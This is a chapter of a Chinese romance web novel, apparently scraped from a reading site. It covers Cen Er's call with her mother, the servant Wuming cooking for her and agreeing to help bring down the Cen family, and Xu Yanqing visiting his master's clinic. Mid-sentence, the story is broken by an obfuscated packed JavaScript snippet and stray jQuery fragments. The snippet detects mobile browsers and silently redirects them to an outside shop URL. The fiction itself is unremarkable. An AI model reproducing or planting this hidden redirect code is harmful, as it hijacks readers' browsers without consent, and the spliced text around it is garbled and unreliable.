“挺好的,您怎么打电话给我?最近跟齐叔叔过得还好吗?”

    白玉轻笑:“就是想你了,我这边过的都好,我和你齐叔叔在弄护照,过段时间回国看看你。”

    “回国吗?是有什么事情吗?”

    “有点事情想和你当面说,最近生活一切都好吗?还是一个人吗?”白玉问到。

    岑尔沉默片刻,脑子里冒出一张熟悉的脸,故作轻松:“嗯,我挺好的,还是一个人。”

    “如果可以的话,妈妈还是希望你能找一个自己喜欢的人过日子,那件事已经过去这么多年了,你还没有放下吗?”白玉的脸上挂满了忧愁。

    她不语,只是一味地摇头,“没事的妈妈,我这样挺好的,我很喜欢现在的生活。”

    对此,白玉只能叹气,说了两句后母女俩就挂了电话。

    “怎么样?她怎么说?”齐逸茗上来摸了摸白玉的脸,温和地问到。

    白玉只是无奈地摇摇头,“当初是我做错了,我不该那样做的,不该那样自私。”

    “不要苛责自己了,当时的你已经做了最好的选择,你没有错,等我们回国再去好好解决,现在不要想这些不愉快的事情了好吗?”齐逸茗轻吻爱人的嘴角安慰到。

    白玉靠在爱人的怀里,心里传来阵痛,宛如当初分娩时的感受。

    事到如今,她不得不承认自己错了,错得一塌糊涂。

    当年她想走,带着岑尔一起离开那个吃人的地方,以至于得知徐衍青是养子的时候像抓到了救命稻草一样。

    白玉还记得当时对徐衍青说的话:“你是养子,自身难保,老太太知道真相后一定会把她嫁给别人,你护不住的,只有离开这里尔尔才会安全,如果我去和老太太说,尔尔知道后会恨我,到时候她失去的不止你,还有我这个妈妈,她会很痛苦,不如你自己当面说出来,顺便把我“出轨”的事情也公布,就当是为了我们母女好,你是个聪明的孩子,知道权衡利弊,对吗?”

    在白玉看来,瞒得过一时瞒不过一世,不如趁着感情还不深当机立断,给对方一个大好的未来。

    她本以为以自己女儿的性格,这件事迟早会过去,毕竟他们的情感并没有多深厚,时间会抹平一切。

    但现在看来,事情好像并不像她想的那样。

    ——

    由于昨天手臂受伤了,岑尔请了一天假在家休息,她打算晚上去做治疗的时候顺便换药。

    临近中午,她正发愁要吃什么,门铃突然响了,这个时间不会有人来的。

    透过猫眼她看到了外面的人,是无名,她好像已经很久没看见无名了。

    无名是老太太身边的人,多年前被派来照顾岑尔,小到衣食住行,大到人生规划,她的一切都是无名教的。

    按理来说二人感情应当很深厚,事实也确实如此,但后来她们就生分了。

    无名曾经突然有过一个孩子,岑尔那时很生气,便说再也不需要无名了,后来老太太知道了这件事,孩子没了,无名也离开了,她被送到越家去。

    现在的无名永远都是沉默地站在暗处,替老太太办那些见不得人的事。

    无论如何,岑尔对无名有着无法言说的愧疚。

    岑尔打开门,从鞋柜里拿出无名的拖鞋:“怎么突然来了?”

    无名对她受伤的手臂并不感到惊讶,仿佛早就知道了,漠然地说:“你受伤了,我来给你做饭,还有,抽时间回一趟老宅,老太太有事和你说。”

    不等她回答,无名便让她去休息,自己去厨房做饭,当最后一盘菜从厨房里端出来,她才轻轻喊了一句:“吃饭了。”

    岑尔揉了揉惺忪的睡眼,起身伸了半个懒腰,顿时神清气爽,音调都高了几分:“啊,吃饭啦!”

    岑尔拿起勺子开始小口小口喝盛好的汤。

    菜都是家常菜,拍黄瓜,甜豆,西红柿炒鸡蛋,还有翡翠白玉汤。

    无名给她夹好菜,用勺子一口一口放凉了喂她吃,她也习惯性地张开嘴,边吃边点头,就像小时候那样。

    喝汤的时候岑尔连连点头,感慨到:“真的好好吃啊,很久都没吃到过这么好吃的饭。”

    听到这句话无名停了下来,眼都不眨的看着岑尔。

    明明也还是个孩子,明明也需要人照顾,明明在可以撒泼打滚的年纪,却要让自己变成大人,承担起妈妈的责任。

    她还记得当初得知岑尔收养了一个孩子时自己是如何愤怒。

    那个孩子小小的,很可爱,但她就是喜欢不起来。

    因为这个孩子的存在,她的孩子不见了,取而代之的是一个事事自己扛、有苦自己吃、遇到难事不问不说、避重就轻的成熟大人。

    她知道这些年岑尔吃了很多苦,但岑尔一句都没说,只轻飘飘的一句“都过去了”一笔带过。

    不知道为什么,她很难过,她希望岑尔还是以前那个撒泼任性的孩子。

    “无名,你看着我干什么?我脸上有东西吗?”岑尔摸摸自己的脸问。

    无名摇摇头,沉默地吃饭。

    饭后无名收拾好卫生就准备走。

    岑尔本来打算送她到楼下的,但被拒绝了,“回去休息吧,电饭煲我放好了煮粥的杂粮,睡觉前记得加水预约,包子我放在冷冻了,明天自己蒸着吃,够吃一段时间。”

    “好。”岑尔表情有些沉重,但还是开口说:“无名,你想不想结束这种生活?”

    “什么意思?”

    “离开岑家,去一个你喜欢的地方开始新的生活。”

    沉默蔓延开来,正当她打算继续劝说的时候,无名开口了:“你想要做什么?”

    岑尔顿了顿,说出来了自己的打算:“我要岑家倒台,我知道你这些年在暗中处理那些脏东西,也收集了很多证据,交给我,我来动手,我保证会让你平安离开这里。”

    无名有些惊讶:“你怎么知道…”

    “我知道你想做什么,我也一样,这次…我不会让你失望的。”

    没有,你从来没有让我失望过,无名在心中想,但没有说出口。

    岑尔并没有在开玩笑,早在妈妈被逼出国的时候她就意识到老太太不会放过任何一个人,如果不想有更多人遭殃,只能扳倒岑家。

    而这一切,她来动手是最合适不过的。

    最终,无名只是点点头,“过几天你会收到一份快递,里面有你想知道的一切。”

    ——

    医院。

    徐衍青趁着中午休息的时间打算去找师父,顺便在那里吃午饭。

    目的地是离市中心有点距离的老城区,那边建筑比较旧,巷子错杂分布,第一次去很容易迷路,车子是开不进去的。

    他将车子停在路边画好的车位里,七拐八拐地走了好几个巷子,他站在老式街道上,瘦长的电线杆上写着“杏林医馆”,下面还有几个小字——巷子深处500米。

    这里的房子大多是老式四合院,坐北朝南,采光很好。

    中午医馆的木门落了锁,他拿出钥匙开锁,与巷子的寂静幽暗不同,老旧沉重的木门后溢出淡淡的饭香,靠近些依稀能听见男女打闹的声音。

    “吱嘎~”

    “宋景明你快还给我!我告诉你,等师兄回来了有你好看的!”

    “江春和,你还真没大没小了,我是你哥哥,哪有和哥哥这样说话点啊…”

    “少来,谁不知道是你小时候用棒棒糖骗我让我叫你哥的!?”

    “诶,明明是你眼巴巴跑过来喊我哥哥的,拿不到了吧,让你不长高些,听话,叫声哥哥就给你!”

    “你…哥哥,好哥哥,你给我吧…”

    “哟,这情书里写的什么啊,我更好奇了呢!”

    “宋景明,你又骗我!你个大骗子!讨厌死你了!”

    江春和跑道门口忽然就愣住了,宋景明还觉得奇怪,扭头问她:“怎么了?愣着干什么,情

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778434|209770||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    书不要了?”

    “师兄!”江春和脸上露出灿烂的笑容,向徐衍青跑去,一把抱住他,“师兄你回来啦!”

    徐衍青摸了摸她的头,“嗯,回来了,这么久没见想我了吗?”

    “想了想了!”江春和用力地点头。

    听见“师兄”这两个字的宋景明也反应过来,朝门口跑去,露出大男孩般的笑容:“师兄你回来啦!”

    徐衍青握拳和宋景明虚虚碰了一下,“你呢,有没有想我?”

    “想,当然想!”

    “师兄师兄……”江春和连忙告状:“宋景明他欺负我,他拿我东西不还给我!”

    “诶,我可没有啊,是这情书掉在地上的,还是我捡起来的,不然丢了你都不知道,你可别乱告状啊。”

    见宋景明把所有事情都说了出来,江春和的脸蹭的一红,恼怒道:“宋景明!让你乱说!我都说了这不是情书!”

    江春和气得直接上楼不理人了。

    徐衍青见惯了他们的小打小闹,直接走进屋找钟杏林。

    “来了?”厨房里传来一声苍老有力的声音,随后一个胡子花白的老人端着一盆满满的黄豆炖猪脚出来了,笑眯眯地说:“还有一会就开饭了,他们两兄妹还在闹?”

    他上去接过那盆快要溢出来的黄豆炖猪脚,笑着说:“闹完了,在哄人呢。”

    “哪回不是他这当哥的先放下身段服软,偏偏他这个当哥的也愿意哄,就随他们去了。”钟杏林慢慢坐下,摸着自己花白的胡子说。

    徐衍青这个当师兄的在一边打圆场:“他们两兄妹虽不是亲生的,到底一起长大,感情好也正常。”

    钟杏林嘴角向下哼哼,两边的胡须也动了动,“他们的感情是好到不正常。”

    徐衍青身形一顿,回头看了眼师父,试探性地叫了一声:“师父……”

    钟杏林又起身回厨房捣腾去了,嘴里哼着一首听不懂的黄梅戏,“天上的鸟儿成双对……”

    “师父,是树上的鸟儿成双对。”

    “管他呢,我说天上就天上。”

    厨房里的柴火烧得噼啪作响,楼上是两兄妹的打闹声。

    徐衍青难得松懈了下来,向来让人觉得冷硬的脸在暖黄的灯光下分外柔和,眉眼间如化雪的高山,泛着涟漪。

    饭后徐衍青起身收拾碗筷,宋景明连忙接手,他撇开手里的碗不给宋景明,朝吃得心满意足的江春和挑了挑下巴,“师妹吃饱了,你陪她去散散步,这些交给我。”

    宋景明转身看了眼钟杏林,只见他摸着自己的白胡子点了点头。

    “那辛苦师兄了,下回我给师兄打下手!”宋景明拉着江春和起身往外走,“师父师兄再见!”

    “师父师兄再见,我们散步去啦!”

    当他们的背影彻底看不见徐衍青才慢慢坐下来,碗筷还是之前的样子,他并没有收拾。

    “你心不静,可是许久没有打坐了?”钟杏林看了他一眼问道,第一眼瞧着的时候就知道他有心事,他自己带出来的徒弟他再清楚不过,“把他们支开有话和我说?”

    徐衍青没有说话,只是顺从地低着头,宛如一个倾听老夫子教会的犯错学生。

    “你很少有无从下口的时候,也很少有如此迟疑不决的时候。”

    钟杏林不知什么时候手里端了一杯茶,浅浅吸了一口茶雾连眉毛都要竖起来了。

    他轻轻抿了一口,啧了一声,眉毛也一上一下的:“前两天忽然感觉到了什么,给你算了一卦,是劫。”

    徐衍青并未惊讶,似乎早就料到了。

    “早些年我也给你卜了一卦,算出你命里有情劫,若是过去了往后前途不可估量,我也算是后继有人,若是躲不过去,后半辈子都要搭进去,如今看来……”钟杏林别有深意地看了他一眼,微微叹气。

    “师父,您常说万事皆有因果,如今…”

    “还是那个女娃娃?”钟杏林皱着眉头问。